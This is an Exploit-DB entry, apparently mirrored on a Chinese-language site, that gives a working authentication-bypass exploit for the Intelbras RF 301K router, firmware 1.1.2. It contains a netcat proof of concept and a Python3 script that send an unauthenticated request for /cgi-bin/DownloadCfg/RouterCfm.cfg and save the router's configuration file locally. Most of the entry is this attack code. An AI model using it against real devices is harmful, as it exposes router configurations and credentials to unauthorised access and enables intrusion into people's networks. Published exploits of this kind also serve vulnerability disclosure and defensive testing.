Intelbras Router RF 301K 1.1.2 – Authentication Bypass

  • 作者: Kaio Amaral
    日期: 2020-11-30
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/49126/
  • # Exploit Title: Intelbras Router RF 301K 1.1.2 - Authentication Bypass
    # Date: 27/11/2020
    # Exploit Author: Kaio Amaral
    # Vendor Homepage: https://www.intelbras.com/pt-br/
    # Software Link: http://backend.intelbras.com/sites/default/files/2020-10/RF301K_v1.1.2.zip
    # Version: firmware version 1.1.2
    # Tested on: kali, android
    
    # POC
    
    # 1. nc host port, ex: nc 10.0.0.1 80
    # 2. GET /cgi-bin/DownloadCfg/RouterCfm.cfg HTTP/1.0
    
    # Python3
    
    import socket
    from time import sleep
    
    def exploit(host, port=80):
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    pay = "GET /cgi-bin/DownloadCfg/RouterCfm.cfg HTTP/1.0\n\n".encode()
    s.connect((host, port))
    s.send(pay)
    sleep(0.2)
    data = s.recv(17576)
    if len(data) > 1000:
    print("[+] Success.")
    return data.decode()
    print("[-] Failed. ")
    exit()
    
    def file(data):
    with open("router.cfg", "w") as file:
    file.write(data[233:])
    print("[+] File Successfully Written.")
    
    file(exploit("10.0.0.1"))